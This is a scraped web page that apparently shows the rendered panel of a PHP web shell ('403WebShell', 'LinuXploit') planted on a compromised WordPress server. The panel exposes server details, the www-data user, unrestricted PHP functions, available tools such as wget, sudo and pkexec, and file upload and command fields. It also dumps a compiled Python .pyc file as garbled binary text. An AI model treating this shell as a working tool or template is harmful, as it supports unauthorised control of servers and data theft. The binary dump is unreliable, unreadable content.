WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 18.193.92.211  /  Your IP : 216.73.216.24
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux ip-10-0-0-90 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core18/current/usr/lib/python3/dist-packages/jsonschema/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core18/current/usr/lib/python3/dist-packages/jsonschema/__pycache__/cli.cpython-36.pyc
3

�=�Xf�@s�ddlmZddlZddlZddlZddlmZddlmZdd�Z	dd�Z
ejd	d
�Zej
ddd
de
dd�ej
ddddd�ej
dde	dd�ej
dde
d�dd�Zejdd�fd d!�Zejejfd"d#�ZdS)$�)�absolute_importN)�namedAny)�
validator_forcCsd|krd|}t|�S)N�.zjsonschema.)r)�name�r�0/usr/lib/python3/dist-packages/jsonschema/cli.py�_namedAnyWithDefault
sr	c	Cst|��}tj|�SQRXdS)N)�open�json�load)�path�filerrr�
_json_files
rzJSON Schema Validation CLI)Zdescriptionz-iz
--instance�append�	instancesz[a path to a JSON instance (i.e. filename.json)to validate (may be specified multiple times))�action�dest�type�helpz-Fz--error-formatz"{error.instance}: {error.message}
z�the format to use for each error output message, specified in a form suitable for passing to str.format, which will be called with 'error' for each error)�defaultrz-Vz--validatorz�the fully qualified object name of a validator to use, or, for validators that are registered with jsonschema, simply the name of the class.)rr�schemaz7the JSON Schema to validate with (i.e. filename.schema))rrcCs6ttj|pdgd��}|ddkr2t|d�|d<|S)Nz--help)�args�	validatorr)�vars�parser�
parse_argsr)r�	argumentsrrrr;sr�cCstjtt|d�d��dS)N)r)r)�sys�exit�runr)rrrr�mainBsr"cCsp|d}|d|dd�}|j|d�d}x>|dp8fD].}x(|j|�D]}|j|j|d��d}qJWq:W|S)	N�error_formatrr)rFr)�errorT)Zcheck_schemaZiter_errors�write�format)r�stdout�stderrr#rZerrored�instancer$rrrr!Fsr!)Z
__future__r�argparserrZjsonschema._reflectrZjsonschema.validatorsrr	r�ArgumentParserr�add_argumentr�argvr"r'r(r!rrrr�<module>s<

Youez - 2016 - github.com/yon3zu
LinuXploit